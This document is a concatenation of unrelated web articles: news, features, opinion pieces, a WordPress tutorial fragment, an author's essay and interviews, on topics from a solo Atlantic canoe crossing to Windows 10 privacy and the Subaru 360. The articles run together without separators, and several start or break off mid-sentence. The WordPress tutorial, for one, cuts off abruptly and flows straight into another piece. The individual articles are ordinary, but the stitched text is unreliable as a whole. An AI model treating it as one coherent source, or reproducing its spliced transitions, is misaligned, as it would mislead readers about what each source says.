During the nearly seven weeks he was out of reach, Viktoria, his wife, gave no indications that she was anything but totally sure that her husband was alive and that only equipment failure was to blame for their lack of communication.
She kept posting entries on their web page nearly every day, speculating about Gabor's position and how the weather conditions were affecting his voyage.
Rakonczay said that in his solitude he often thought about what his loved ones were likely going through, and was heartened by the faith and confidence of his family in his abilities during the long silence.
"I was positively surprised in those at home... because everyone was certain that if I run into any difficulties, I'll be able to solve them," Rakonczay said. "It was a great relief to reach port because it meant completing the journey and because my family could finally know for sure that I was OK."
While he lit smoke flares on three separate occasions to signal ships passing nearby, he was not able to communicate with any of them.
"Some slowed and even changed direction as they likely picked me up on their radars," Rakonczay said. "But I was often surrounded by waves 4 meters (12 feet) high and the canoe is less than one meter high, so it's most likely that they simply weren't able to see me."
The uniqueness of Rakonczay's crossing was confirmed by Ocean Rowing Society International, which adjudicates such feats for the Guinness World Records.
Atlantic crossings have been made in rowboats and kayaks, but not a canoe, in which a paddle with a single blade is used.
"We were disappointed he had no satellite tracking on board," said Tatiana Rezva-Crutchlow, editor-in-chief of the society's website. "We are very pleased to hear that he has arrived."
In 2008, Rakonczay and his wife successfully rowed across the Atlantic together, but this solo challenge had been in the works for a long time and he reached his destination some 20 days faster than planned.
"I was very interested in discovering what it's like to be all alone on a ship in the ocean," Rakonczay said. "It was my childhood dream."OTTAWA (Reuters) - U.S. President Barack Obama is tired of hearing Republican presidential candidate Donald Trump described as a populist.
U.S. President Barack Obama addresses Parliament in the House of Commons on Parliament Hill in Ottawa, Ontario, Canada, June 29, 2016. REUTERS/Chris Wattie
The Democratic leader, who has made no secret of his dislike for the wealthy businessman’s rhetoric, closed a news conference in Canada on Wednesday with a long riff on what makes a leader qualified for the “populist” mantra.
Trump did not meet the criteria, Obama said, without mentioning the Republican by name.
“Somebody... who has never shown any regard for workers, has never fought on behalf of social justice issues or making sure that poor kids are getting a decent shot at life or have health care,” does not meet the definition, Obama said.
“They don’t suddenly become a populist because they say something controversial in order to win votes. That’s not the measure of populism. That’s nativism, or xenophobia. Or worse. Or it’s just cynicism,” he said.
Trump won enough grassroots support among Republicans to make him the party’s presumptive presidential nominee with a pledge to ban Muslims temporarily from entering the United States and to build a wall on the U.S. border with Mexico, and a series of other inflammatory remarks.
Obama has sharply criticized Trump for such rhetoric.
He plans to campaign with former Secretary of State Hillary Clinton, the presumptive Democratic presidential nominee, next week. The president’s latest criticism of Trump could foreshadow Obama’s strategy to help Clinton on the campaign trail.
He made a point of saying U.S. Senator Bernie Sanders of Vermont, Clinton’s opponent in the race for the Democratic presidential nomination, genuinely deserved the title of populist.
Sanders describes himself as a democratic socialist and generated huge support from young people across the United States in his campaign.
Clinton needs those supporters now, and Obama, who won the White House in 2008 and 2012 with a similar coalition, will try to help deliver them for her.
Obama, who leaves office in January, made his comments on Wednesday with Canadian Prime Minister Justin Trudeau and Mexican President Enrique Pena Nieto looking on.
“Sorry,” Obama said after his more-than-six-minute monologue. “It’s the prerogative of an outgoing president to go on an occasional rant, he said.The importance of basic income and universal income is becoming more and more evident. If you can’t believe that automation will take your job, take your skill set, and ruin your family, then I dare you to ask your grandfathers about their jobs and why they think there’s so many less.
Robots will become the next generation of the working class. It is inevitable. Your best chance at finding success in the upcoming decades is to find a skill that makes you who you are. Robots might manufacture art and literature en mass in the future, but we will still need creatives who are willing to put themselves out there.
In my own lifetime I’ve gotten the chance to see the rise of @Kickstarter, @Etsy, and more and more webpages designed for the essential goal of furthering human development in the arts, literature and philosophy. If you are so against the idea that your job will be done by a robot, ask yourself the following questions: “Do I repeat more than three functions per task?” “Do I rely on other humans to do less than five of my job responsibilities?” “How much of my current job is already automated in some way? 30%, 60%, 90%?” “If I wasn’t working here, would I believe that someone would be behind this job?” “Can my job be done without me?”
Consider why the STEM push in education is so high right now. Manufacturing and other industries have large incentives to hire people who can design tools and products that replace those very same people they are hiring. This isn’t a conspiracy, this is fact. Your boss wants a robot. Your industry will soon require that you become a robot. Something that never takes breaks, never asks for time off, never gets tired or sick or needs to see their kids talent show.
We must remember that we have the gift of humanity. Humans were never supposed to be robots. Stay creative. Stay open minded. Study art, literature, philosophy, love, and health. There are very few things that robots can’t do and you have been through hundreds of thousands of generations of adapting and growing and changing to have the chance to take advantage of such things. Let’s find them again.
Take to the teachers around you, and ask them what they see children doing every day. What inspires them, motivates them, encourages them to do and be better people. That’s where we begin to beat the coming automation crisis.A rookie Oklahoma City police officer became separated from his partner during a foot pursuit and managed to close in on the robbery suspect they were chasing. The suspect managed to get control of the officer’s baton and started striking him in the head repeatedly, and the incident might have become another murder of an officer in the line of duty if it wasn’t for an armed citizen stepping in to save the day:
It happened just after 2 p.m. Tuesday in the 2800 block of W. Park Pl. Rookie Officer Adam Eller and field training officer Sgt. Michael Lambert were responding to the burglary call. The two suspects in the burglary, Tremaine and Jermaine Williams, are twin brothers. Police say Tremaine was already gone when they arrived, but Jermaine was there and when he saw the officers he took off on foot. During the chase the two officers became separated. Eller found himself alone when he caught up to Jermaine in a driveway of a nearby home and as he tried to place him under arrest, a fight ensued. During the struggle, Jermaine was able to take Eller’s police baton and then proceeded to strike him over the head somewhere between six and 12 times. According to a report, that’s when a witness nearby charged up with his weapon drawn and told Jermaine he would shoot him if he did not stop hitting Eller. That heroic witness has not been identified.
Officer Eller was transported to a nearby hospital with serious injuries, but was released the next day.
It is unknown at this time why Eller didn’t draw his service weapon and fire on Jermaine Williams. He may be been incapacitated, but the story does not say.
Fortunately an armed citizen was able to stop Williams’ attack on Officer Eller, and other officers responding to the scene did not mistake the armed citizen as a threat to Officer Eller.
We seem to be having more and more instances of “good guys with guns” stepping up to stop attacks on citizens and police officers. We’re not entirely sure if there are more armed citizen interventions, or if the media is just starting to do a better job of covering these stories.
In any event, these stories—which we seem to be reporting several times a week recently—are proving that armed citizens are an important part of maintaining a civil society.November isn’t even over yet and the classic content that will be promoted for December is already wrapped up. As of now, every single episode of NXT, through both eras is available to watch at your leisure. From the TV debut of Daniel Bryan, to the latest post-TakeOver: WarGames episode, that’s over 7 years of uninterrupted TV. While there’s plenty of varied opinions on the product itself, I think most would agree that it’s always satisfying to see a video library become 100% complete. NXT can now make that claim.
Technically, there’s no real reason to show a summary for something that’s now complete, but I’m a sucker for a visual representation of neatness. So, here you go:
NXT
2010 (45/45) Complete
2011 (52/52) Complete
2012 (52/52) Complete
2013 (52/52) Complete
2014 (56/56) Complete
2015 (58/58) Complete
2016 (56/56) Complete
2017 (52/57) Uploads in progress
Here is the hyperlinked list for the NXT episodes that were added today. Obviously, it won’t need to be updated:
WWE NXT
Also, you can click HERE to go straight to the WWE NXT show page on the WWE Network to search through all 7+ years. Happy binge watching!Remember this name: Teri Malvar. Because at the tender age of 15, this girl won the Silver George Best Actress award at the 38th Moscow International Film Festival and the Screen International Rising Star award at the 15th New York Asian Film Festival.
Malvar won in Moscow for her role as a street urchin in Ralston Jover’s Hamog (Haze), a film that competed at the Cinema One Originals Film Festival last year. Malvar also won Best Actress at the festival, where Hamog also won the Jury Prize, Best Editing, and Best Supporting Actor.
Jover accepted the award in Moscow on Malvar’s behalf, as she was on her way to New York to accept her award at the NYFF. She is one of three actors to win the Screen International Rising Star Award, and was chosen because of her “daring roles that have expanded the range of contemporary Philippine cinema.”
She was chosen for her roles in Hamog and Sigrid Andrea Bernardo’s Ang Huling Cha-Cha ni Anita (Anita’s Last Cha-Cha), which competed at the CineFilipino Film Festival in 2013.
The Screen International Rising Star Asia aims to bring attention to Asia’s outstanding new talents. Malvar was awarded with Japan’s Go Ayano and China’s Jelly Lin.
Have you seen Malvar’s movies? Share your thoughts below!
Follow @When in Manila Koji on Facebook for more stories like this!Most U.S. readers probably haven’t heard of Leena Krohn, but among connoisseurs of weird fiction like Jeff VanderMeer, she’s a beloved icon. She’s also the winner of the Finlandia Prize, the most prestigious literary honor in her native Finland. And it’s a great time to discover her bizarre stories.
In the New Yorker, there’s a great feature about her by Peter Bebergal, who deconstructs some of her stories in which people begin to glimpse the unspeakable depths below the surface of reality. In one story, a woman who eats poisonous seeds to help treat her asthma starts seeing weird supernatural hallucinations and getting closer to the “sublime secret of existence.” In another, a robot begins to experience fear, and in a third, a city of insects try to light themselves on fire.
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Cheeky Frawg Press recently published a book of Krohn’s stories in translation, so her work is more accessible than ever. There’s also a novel, called Datura (Or a Delusion We All See).
Bebergal’s interview with Krohn, done via translated emails, contains some great gems, like where she says that “absolute reality is and always will be unknowable to us.” And she points out that human beings aren’t the only ones with language—ants convey very sophisticated information to each other, at great speeds. Also, there’s a lovely passage from one of her stories, about the consciousness of dogs: “Their lives are balancing acts between a humanized being and an older, wilder nature. Dogs are interstitial beings, not yet human, but no longer wolves. That is the unresolved paradox of doghood.”
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You can read one of Krohn’s stories, translated by Viivi Hyvönen, over at Electric Literature. In “Lucilia Illustris,” an entomologist is summoned to a dead body that is being consumed by insects, to help figure out the time of death and other information. And this turns into a meditation on insects, decay and death.
Bebergal’s feature on Krohn is also well worth reading in its entirety. (And you can also read our interview with Bebergal from 2014 about his book on rock’n’roll and Satanism.)
Top image: cover art of Datura by Leena Krohn
Charlie Jane Anders is the author of All The Birds in the Sky, coming Jan 26 from Tor Books. Follow her on Twitter, and email her.Wednesday, May 13, 2015
BOSTON, MASSACHUSETTS—Genetic testing of a 40,000-year-old mandible with modern human and Neanderthal traits has revealed that the Oase man’s genome was between five and 11 percent Neanderthal, including large chunks of several chromosomes. Palaeogenomicist Qiaomei Fu of Harvard Medical School and her colleagues analyzed how lengths of DNA inherited from an ancestor shorten with each generation. They estimate that this individual’s Neanderthal ancestor was introduced in the previous four to six generations. The jawbone and one other human bone were discovered among bear remains in a Romanian cave called Peştera cu Oase. Erik Trinkaus of Washington University in St. Louis has argued that these bones point to inbreeding between humans and Neanderthals. “I guess it’s reassuring at some level that there’s correspondence between what the anatomy is telling us and what the genes are telling us,” he commented in Nature News. And radiocarbon dates suggest that modern humans and Neanderthals may have been in Europe together for up to 5,000 years in some areas. Fu presented her team’s work at the recent Biology of Genomes meeting. To read more about our extinct cousins, see "Should We Clone Neanderthals?"Image copyright White House Image caption The statement was issued to reporters by the White House
A formal statement from the White House was issued with a very public error - mixing up China and Taiwan.
A press release following Donald Trump's meeting with Chinese President Xi Jinping at the G20 summit called him president "of the Republic of China".
That is the official name of Taiwan. Mr Xi is, in fact, President of the People's Republic of China.
Earlier, the White House had also labelled Shinzo Abe president of Japan. He is the prime minister.
The online version of the statement on China now simply refers to "President Xi of China", and the Japan statement has also been corrected.
Social media users were quick to point out the error, which many feel should be obvious to government officials.
Image copyright Twitter
Chris Lu, a White House Cabinet Secretary under former President Obama, tweeted: "Ouch. White House just referred to Xi Jinping as leader of Republic of China, which is Taiwan," appending the hashtag: "#AmateurHour".
The distinction between two similar-sounding official names is important for two neighbours that have tense relations.
China regards Taiwan as a breakaway province which will eventually rejoin the mainland.
In a separate development, a picture posted on Mr Trump's Intagram account showing the president with Singaporean Prime Minister Lee Hsien Loong initially misidentified him as Indonesian President Joko Widodo.
The error was quickly pointed out on social media and rectified.by BRIAN NADIG
Funds generated by a proposed taxing body that would affect about 700 commercial and residential properties in Jefferson Park would be used for beautification improvements and to attract new businesses to the Milwaukee-Lawrence and Lawrence-Austin commercial districts.
The Jefferson Park Chamber of Commerce is seeking to have a special service area created that would generate at least $200,000 annually in property tax revenue to fund improvements to the commercial areas. A commission of local business and property owners appointed by Mayor Rahm Emanuel would set an annual budget to pay for items such as marketing materials, lamp post banners, planters, public art, sidewalk cleaning and business recruitment initiatives.
"We’ve all seen how this tool has helped to bring businesses back to the Six Corners community," chamber executive director Amie Zander said. “It makes complete sense to continue the program down Milwaukee and Lawrence avenues.”
The Jefferson Park Special Service Area would run primarily Lawrence Avenue between the Kennedy Expressway and Austin Avenue and along Milwaukee Avenue between Montrose Avenue and the expressway. Every property in the designated area would be in the special service area because the city requires boundaries to be contiguous.
Under a proposed budget, property owners in the area would pay approximately $65 in additional property taxes for every $1,000 that they usually pay, according to PLACE Consulting, which the chamber hired to help with the application process.
For the 2015 tax year, the average residential property owner would pay about $170 in SSA taxes, a mixed-use building owner $560 would pay about and a commercial property owner would pay about $1,118. Property owners pay their 2015 tax bill in 2016, and the special service area would be listed on their property tax bill along with the other taxing bodies.
"Several months ago the chamber conducted a survey of businesses and residents to gauge the interest in SSA creation, and the response has been overwhelmingly positive,” Zander said.
About 30 percent of the 178 respondents to the survey identified themselves a property owners in the service area, and 65 percent said that they live in the study area. Nearly half of the respondents said that that the condition of the commercial areas is not conducive to business success, while most said that they are "satisfied" or "very satisfied" with the safety, lighting and transportation options in the area.
Zander said that the chambers welcomes additional comment on the proposed service area and that it will hold community meetings at 6:30 p.m. Thursdays, May 14 and 21, with the locations to be announced. Letters will be mailed notifying the affected property owners of the meetings.
Of the 703 affected properties, 457 are residential, 142 are commercial, 58 are retail-residential and nine are vacant. There also are 37 exempt properties, including properties owned by the city and nonprofit organizations.
While most of the properties are residential, commercial properties will generate more than half of the revenue generated by the special service area. It is not unusual for the majority of properties in a service area to be residential, in part because of condominiums that are above storefronts, such as in the Lake View neighborhood, according to PLACE Consulting.
The chamber is proposing a tax rate of 0.45 percent of equalized assessed valuation for the 2015 tax year, and the maximum tax rate is 0.75 percent. The chamber plans to be the service provider for the Jefferson Park SSA.
"The creation of an SSA is the next logical step in the revitalization of the Jefferson Park business districts," Zander said. “Attracting new businesses, cleaning, landscaping and snowplowing are just some of the options we will have moving forward.”
There are about 50 special service areas in the city, and the life of a special service area is 10 years, after which it can be renewed for up to another 15 years. A special service area budget can vary each year, and in some instances a service area commission has chosen not to levy a tax in a particular year.
Alderman John Arena (45th) said at a business forum during the recent election campaign that he would encourage the chamber to consider forming a special service area given the success of them in other areas.
Information about the proposed SSA is available at www.jeffersonpark.net.SUICIDE is a part of life. Whenever any of the 100 trillion or so cells that make up the human body malfunction, which happens all the time even in healthy tissue, they are programmed to provoke their own death. The mechanism hinges on a protein called TRAIL, which is produced by the damaged cell and binds to receptors on its surface, causing inflammation. That is a signal for the immune system to sweep in and, through a process called apoptosis, break down the damaged cell and recycle its parts to feed healthy ones. If this self-destruct is subverted, however, the result is a tumour.
When TRAIL's tumour-suppressing ability was first discovered in 1995 researchers hoped that by discriminating between cancer cells and healthy ones, TRAIL would do away with the debilitating side-effects associated with traditional treatments like radio- and chemotherapy. These are good at destroying tumours but also cause lots of collateral damage. Unfortunately, it turned out that simply injecting a synthetic version of the molecule into the patient's body provoked only a limited immune response in a handful of cancers.
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That, says Joshua Allen from the Pennsylvania State Cancer Institute, was because people assumed that cancer's subversion of TRAIL consisted merely in halting the molecule's production within the cell. It turns out, however, that cancerous cells also suppress their TRAIL receptors, so no amount of synthetic TRAIL sloshing about would ever be enough. What you need, Dr Allen reasoned, is something to reboot the TRAIL-producing pathway within cells as well as to unblock their TRAIL receptors. Only then would the immune system be spurred into action.
So he and his colleagues sifted through a library of molecules maintained by America's National Cancer Institute and found a molecule, called TIC10, whose biochemistry seemed to fit the bill. When enough of these molecules accumulate in a cancer cell, they activate a protein called FOXO3a. This binds to DNA and flips on many biological pathways, including those involved in the TRAIL mechanism that lead to the immune-system alerting inflammation.
As Dr Allen and his colleagues report in Science Translational Medicine, tests in mice with brain tumours confirmed the biochemical hunch. Murine subject given TIC10 lived twice as long as those that received no treatment. The drug also worked for lymphoma, as well as breast, colon and lung cancers. And it did not seem to cause the wasting side-effects typically associated with chemotherapy, suggesting that it can indeed tell cancer cells from healthy ones. As an added bonus, TIC10 is small compared to TRAIL, and cheaper to concoct than the complex protein is.
Last year Dr Allen secured a $1.3m grant from Pennsylvania's department of health to begin clinical trials. These will be carried out in collaboration with Oncoceutics, a drug company. Nine out of ten promising molecules which work in mice fail in humans, so "Cure for cancer" headlines must wait. If TIC10 does live up to its promise, though, it would make one killer app.Close
Microsoft has three months to revise its Windows 10 practices or it will be penalized in France.
Windows 10 has irked many users and observers and raised a number of security concerns since its launch, as it's believed to be the OS that spies most on its users. The French government has now raised another red flag, warning Microsoft that it will face consequences if it doesn't address Windows 10 security flaws and stop collecting user data without their consent.
France's Chair of the National Data Protection Commission (CNIL) issued an order this week, giving Microsoft three months to make changes to its OS or else face hefty fines. The CNIL says that the Windows Store collects user data without the user's permission on all downloaded applications, monitoring even the time spent on each app. Moreover, Windows 10 automatically installs an advertising identifier, enabling Microsoft to keep an eye on users' browsing to offer targeted ads. Users are not even aware of this, let alone consent to it.
Aside from violating laws that protect user data, the Windows Store also poses a security threat with its authentication method, the CNIL further points out. While users can authenticate their Microsoft accounts by setting a PIN code, the unlimited number of attempts to enter the correct PIN is a security risk that should be addressed.
Should Microsoft fail to address the CNIL's concerns and requests within three months of this order, it could face steep fines in the country. Data protection laws in France allow for financial sanctions of up to €1.5 million, which would translate to roughly $1.65 million based on current exchange rates.
CNIL will hold off on imposing fines for now, but will have no choice but to penalize Microsoft if the company doesn't take the necessary measures to improve its practices.
Microsoft, for its part, promised to look into the matter and collaborate with the CNIL to address privacy and security concerns.
"We built strong privacy protections into Windows 10, and we welcome feedback as we continually work to enhance those protections," says David Heiner, vice president and deputy general counsel at Microsoft.
"We will work closely with the CNIL over the next few months to understand the agency's concerns fully and to work toward solutions that it will find acceptable."
Concerns regarding Windows 10 data collection are nothing new, however, as Microsoft's practices with its latest OS have been questioned ever since the OS hit the market.
Microsoft addressed the matter last year, claiming that it only collects data necessary to improve the experience. Back in September 2015, for instance, the company said Windows 10 collects personalization data to customize the individual user experience with Cortana and telemetry data to help Microsoft understand how consumers are using Windows 10.
Nevertheless, Microsoft has been facing harsh criticism over its Windows 10 practices, including its aggressive push to get the OS on as many PCs as possible.
As a reminder, the deadline for getting Windows 10 as a free upgrade is July 29, after which the OS will be available for purchase. If you have yet to upgrade and the concerns regarding data collection, privacy and other aspects don't scare you off, you still have a week to take the plunge.
ⓒ 2018 TECHTIMES.com All rights reserved. Do not reproduce without permission.Custom post types are a powerful WordPress functionality. Everyone that works with WordPress long enough ends up using them. A custom post type can be anything. That flexibility is the source of much of its power. When using custom post type, you’re only limited by your imagination (trademark pending).
This flexibility also makes it a great use case for designing an interface. This article will put you in the interface creator seat. Exciting, I know!
As the interface creator, you’re in charge of designing the interface contract. This means that you get to dictate how someone use your interface (insert evil laughter here). It’s not all (evil) roses though.
The job gives you quite a lot of responsibility. This can make it hard for you to know where to start or what to do. Lucky for you, that’s what this article will help you with.
How WordPress handles post data
Before we go any further, let’s look at WordPress post data management. In particular, we want to look at post data in two contexts. What WordPress does when it retrieves and saves post data. The two (retrieving and saving) are quite different.
Retrieving a post
WordPress has a few ways to retrieve a post. You can use functions like get_post or a query. Whatever method you choose to use, you’ll always get WP_Post objects back.
The WP_Post class handles both the regular post data and all post meta information. That said, WP_Post is final. This prevents us from extending it and replacing it with another class. Because of this, it’s hard to use an interface when WordPress retrieves a post from the database. That’s why the article won’t cover it.
Saving a post
wp_insert_post is the primary function that WordPress uses to save a post. Unlike when you retrieve a post, it works using a post data array.
It’s important to note that the wp_insert_post function doesn’t handle post meta. You need to handle those yourself once it returns to you with a post ID. You can view an example of this two-step process below. It’s the cornerstone of the contract that we’ll create with the interface.
$post_id = wp_insert_post($post_data); foreach ($post_meta as $key => $value) { update_post_meta($post_id, $key, $value); } 1 2 3 4 5 $post_id = wp_insert_post ( $post_data ) ; foreach ( $post_meta as $key = > $value ) { update_post_meta ( $post_id, $key, $value ) ; }
The setup
Ok, now that you’re familiar with |
not going to magically have it to rely on in book three — at least not without some major effort. Everything gathers — each choice, each voice.
Trilogies are, by intent, more than the sum of their parts.
And, when brought together, a trilogy’s largest ideas sometimes appear in the gathered shadows of what seemed like big ideas at the time.
In Updraft, book one of the Bone Universe trilogy, what began to crumble was the system that upheld the community of the bone towers. It didn’t look like it then. So I didn’t tell you when I wrote my first Big Idea.
Instead, the first time I visited this blog, I wrote: “At its heart, Updraft is about speaking and being heard and — in turn — about hearing others…”
That was true – especially in the ways Updraft explored song as memory and singing and voice. But it was also kind of a fib. I knew where the series was headed, and voice was only the tip of the spear.
I planned to return here a year later to write about leadership, and I did — and, I wrote about demagoguery too, and abut having a book come out during a charged political season. That was September 2016, Cloudbound, the second book in the series was just out, and wow, that post seems somewhat innocent and naive now. But not any less important.
Again, saying the big idea in Cloudbound was leadership was true on its face, but it was also a an act of omission. And again, singing came into play — in that songs in Cloudbound were being adjusted and changed, as were messages between leaders.
With Horizon, I’m going to lay it all out there for you. Horizon is about community.
Structurally, Horizon is narrated by several different first person voices — including Kirit, Nat, and Macal, a magister and the brother of a missing Singer. These three voices come from different places in the Bone Universe’s geography, and they weave together to form a greater picture of the world, and its threats. A fourth voice appears only through a song — a new song — that is written during the course of Horizon, primarily by one character but with the help of their community. That song is the thread that ties the voices together, and, one hopes, the new community as well.
And, like Horizon, for me, the big idea for the Bone Universe series is also community. How to defend one, how to lead one, how to salvage as much as you can of one and move forward towards rebuilding it.
In my defense, I did leave some clues along the way. I shifted narrators between Updraft and Cloudbound in order to broaden the point of view and reveal more about the lead characters and the world, both between the books (how Nat and Kirit are seen each by the other vs. how they see themselves), and within them. I shared with readers the history of the bone towers and how that community, and the towers themselves, formed. I showed you the community’s [something] – that their means of keeping records and remembering was based on systems that could be used to both control messages and redefine them. I made the names of older laws and towers much more complicated to pronounce (and, yes, spell SIGH), versus the simpler names for newer things. This community had come together, then grown into something new.
The evolution of singing in the Bone Universe is, much like the idea of community, something that can be seen in pieces, but that resolves more when looked at from the perspective of all three books together.
Remember that solo voice — Kirit’s — singing quite badly that first book? In the second book, Nat’s voice joins Kirit’s — a solo, again, but because we can still hear Kirit, and because we know her, it becomes a kind of duet. In the third book, three voices present separate parts of the story, and when they all come together, that forms a connected whole.
When you listen to a group of people sing, sometimes one voice stands out, then another. Then, when multiple voices join in for the chorus, the sound becomes a different kind of voice. One with additional depth and resonance.
That’s the voice of a community. That drawing together of a group into something that is more than the sum of its parts. It is an opportunity, a way forward, out of a crumbling system and into something new and better.
That’s the big idea.
—-
Horizon: Amazon|Barnes & Noble|Indiebound|Powell’s
Read an excerpt. Visit the author’s site. Follow her on Twitter.By: Charles Choi, LiveScience Contributor
Published: 10/17/2012 06:13 PM EDT on LiveScience
Dolphins can stay constantly alert for more than two weeks by sleeping with only half of their brains, researchers say.
These findings suggest how dolphins can keep on the constant lookout for sharks, investigators added.
Unlike land mammals, dolphins sleep with only part of their brains at any time, past research has suggested. Half of their brains rest, while the other half remains "awake," and dolphins regularly switch which side is active.
"After being awake for many hours or days, humans and other animals are forced to stop all activity and sleep," said researcher Brian Branstetter, a marine biologist at the National Marine Mammal Foundation in San Diego. "Dolphins do not have this restriction, and if they did, they would probably drown or become easy prey."
To see just how mindful dolphins are with just half a brain, researchers tested their ability to scan the environment. Dolphins use echolocation to map the world, a biological form of sonar where they emit clicks and listen for their echoes to probe murky, dark surroundings. [Sleep Tight! Snoozing Animals Gallery]
The researchers set up a portable floating pen outfitted with eight modules, each consisting of an underwater sound projector and microphone. When a dolphin scanned any of these modules using echolocation clicks, they could respond with sounds mimicking echoes of those clicks from remote surfaces. Essentially, these modules could behave as "phantom targets" — illusions that acoustically simulated physical objects.
Dolphins were tested using underwater sound projectors. When they detected certain sounds, the dolphins had to press a paddle. The results are detailed online Oct. 17 in the journal PLoS ONE.
The scientists had two dolphins — a female, Say, and a male, Nay — continuously scan these modules. If they detected phantom targets, they were trained over the course of a year to press a paddle to get fish. The dolphin Say often gave victory squeals whenever she succeeded.
The scientists found these dolphins could successfully use echolocation with near-perfect accuracy and no sign of deteriorating performance for up to 15 days. The researchers did not test how much longer the dolphins could have continued.
"Dolphins can continue to swim and think for days without rest or sleep, possibly indefinitely," Branstetter told LiveScience.
These findings suggest that dolphins evolved to sleep with only half their brains not only to keep from drowning, but also to remain vigilant.
"These majestic beasts are true unwavering sentinels of the sea," Branstetter said.
Future research can help verify whether the dolphins stayed awake and alert for multiple days by sleeping with half their brains. This would require monitoring their brains for electrical activity via electroencephalogram, or a EEG.
"Research with freely moving humans who wear portable EEG equipment has been conducted; training a dolphin to wear a similar portable EEG backpack that is capable of withstanding and functioning in an ocean environment presents much greater challenges," Branstetter said. "However, these hurdles are not insurmountable. Also, we are interested in investigating if dolphins can perform more complex cognitive tasks without rest, like problem-solving or understanding an artificial language."
The scientists detailed their findings online Oct. 17 in the journal PLoS ONE.
Follow LiveScience on Twitter @livescience. We're also on Facebook & Google+.
Copyright 2012 LiveScience, a TechMediaNetwork company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Someone drew a swastika on four dormitory doors at New York City’s New School over the weekend.
David Van Zandt, the school’s president, released a statement Saturday addressing the symbols, saying hate crimes were “unacceptable at the school.”
“Any form of expression that denigrates members of our community based on their race, ethnicity, religion, sexual or gender identity, or political beliefs is completely abhorrent and antithetical to our core values,” he said in a statement.
Mayor Bill de Blasio also weighed in on the incident, tweeting that hate speech “had no place in NYC.”
Hate speech is reprehensible, and has no place in NYC. To the affected, we stand with you. To the perpetrators, we are better than this. https://t.co/8J4JU56yti — Bill de Blasio (@NYCMayor) November 12, 2016
It’s unacceptable that this is the second investigation we’ve had to announce in the last several hours. https://t.co/U18t3b4TV4 — Andrew Cuomo (@NYGovCuomo) November 13, 2016
There has been a spike in hate-related incidents targeting minorities across the country following Donald Trump’s victory in the presidential election.Tai Trang was unable to steal the million dollars when he played Survivor: Kaoh Rong, but he was able to steal something far more valuable — a kiss from island BFF Caleb! So who might Tai be smooching this time when he returns for Survivor: Game Changers (premiering March 8 on CBS)? He told us! And will the number of people he kisses be greater or less than the number of chickens he saves? Place your bets now, ladies and gentlemen! Place your bets!
Watch the video above and read the Q&A below to get more island insight from Tai. And also make sure to follow @thedaltonross on Instagram to see exclusive on-location photos, including one of Tai casting his pre-game vote for whom he’d like to vote off first.
ENTERTAINMENT WEEKLY: Why are you here, Tai?
TAI TRANG: I’m here again because I’m a Game Changer. I played with my heart. I changed the direction of my game last time. I’m in control of it, and I’m glad to be here and to play with the big boys. I belong here, I feel like. I’ll be really good. I’m not going to change who I am, but I need to look at the bigger picture. I’m going to correct my mistakes from last time.
Are you worried people will not trust you because the Kaoh Rong cast felt you flip-flopped a lot last time?
No, I’m not worried. I didn’t feel like I was flip-flopping. I’m going to explain that, if I have a chance. I think these are big game players that know by watching it that I was not flip-flopping. They know it was a strategy move. They know I’m loyal. They know I changed the direction of my alliance because I was at the bottom of that with Scott and Jason. I’m not going to worry about that.
You have four people from Kaoh Rong here. Instant alliance or no?
We have not talked about it. I think I’m open to anything. This is a game. We’ll see. Instant alliance, it seems like it makes sense. We have a target.
So whom do you want to be in an alliance with out there?
Sarah, J.T., Caleb, and Debbie. I think she has a soft spot for me somehow. We like turtles together.
Let’s get to the serious stuff now: How many chickens can you save this season?
Maybe I’ll save a coconut crab or something. But saving that chicken last season was a nice thing to bring the camp together and the tribe. I would like to save another chicken and see what happens. I think people will open up to that idea because everybody wants to have that at camp. It’s a nice thing outside of the game, just a pet to have around camp. And it gave us some humanity to the game and some softness to the tribe, and I think that’s a good thing. They welcome it. Everybody has a pet at home. I want to introduce it. Maybe we’ll save all three chickens this time.
Are you planning to steal another kiss from Caleb this season? You gonna go in for round two?
I’m gonna go in for round two. We’ll see. There’s a lot of boys here. Maybe Ozzy. Maybe Malcolm.
How did your boyfriend feel about that?
He loved it. I’m a very touchy person. Only to people open to it. I don’t kiss anybody. Caleb was so affectionate, and he’s really sweet. I mean, I wouldn’t kiss Nick. Definitely Caleb. It’s a two-way street. They invite me in. So anybody who invites me in, I will kiss.
For more Survivor scoop, follow Dalton on Twitter @DaltonRoss.They say a picture is worth a thousand words, and this image of the 1967 Subaru 360 Deluxe prototype says volumes. Just to have a little fun on a Friday, we thought we would look back at this Subaru prototype. We have to wonder what these Subaru engineers were thinking. This two-seat sports car has early makings of another sports car that we know as the BRZ. The new 2015 Subaru BRZ came from the same company that produced this early forerunner.
Of course they didn’t have any idea of what this prototype would lead to for Fuji Heavy Industries Ltd., the parent company of Subaru. The Japanese automaker has come a long way from this 360 Deluxe concept car to the new rear-drive 2015 Subaru BRZ with 200 hp. But this design team had to be thinking about a future sports car when they designed the 1967 Subaru 360 Deluxe prototype.
This could be the ugliest prototype ever produced
This 1967 Subaru 360 Deluxe prototype is likely the ugliest concept car ever produced by any automaker. By the looks of this talented group, they seem pretty proud of this ugly duckling. It’s a good thing this design team didn’t get their model into production. But the Subaru 360 car did make it to production and was sold in the U.S.
The 360 didn’t sell well
The first Subaru ever to be sold in the U.S. was the 360 on March 3, 1958. It was a very small rear wheel drive minicar that was powered by a 2-stroke, 25 horsepower 360 cc engine and is where it got its name 360. It weighed under 1000 pounds, got 66.3 mpg, slugged its way from 0-50 in 37 seconds and cost $1,297 plus prep fees. It came in a base 2 door sedan model, the "Young S" 2 door sedan, minivan, a truck version, and even a mini race car. The cars were imported to the U.S. through 1969 and weren’t very popular as you can imagine.
Dealers couldn’t give them away
Only 6,000 of the Subaru 360's were sold in the U.S., and a rumor reports one Subaru dealer was selling 6 cars for $2,000 just so they could get rid of them. Today, the 360 is a collectors car and some have sold for $10,000-$15,000. There is even a Subaru 360 Drivers Club so that members can find parts and swap ideas on how to keep their cars running.
If at first you don’t succeed....
The Subaru 360 lacked modern safety features and had horrible control and was as slow as a turtle. Subaru has come a long way since the Subaru 360 in terms of engineering, styling, safety and performance and is recognized as having the safest, most fuel-efficient AWD line-up in America. And for driving enthusiasts, the 2015 Subaru BRZ sports coupe delivers incredible performance and driving dynamics. It pays to keep going and not give up even if you make mistakes like the 1967 Subaru 360 Deluxe prototype. If at first you don’t succeed, try and try again.
Other 2015 Subaru BRZ stories of interest.
Three things that make the 2015 Subaru BRZ a special sports carEstablished brokers and startups want in on the crypto boom – but, Trading 212 is a bit of both.
